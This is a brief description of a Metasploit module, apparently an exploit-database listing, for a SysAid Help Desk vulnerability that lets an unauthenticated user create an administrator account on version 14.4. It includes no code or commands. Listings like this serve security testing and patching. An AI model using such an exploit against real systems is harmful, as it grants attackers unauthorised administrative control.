SysAid Help Desk Administrator Account Creation
This Metasploit module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated user to create an administrator account. Note that this exploit will only work once. Any subsequent attempts will fail. On the other hand, the credentials must be verified manually. This Metasploit module has been tested on SysAid 14.4 in Windows and Linux.
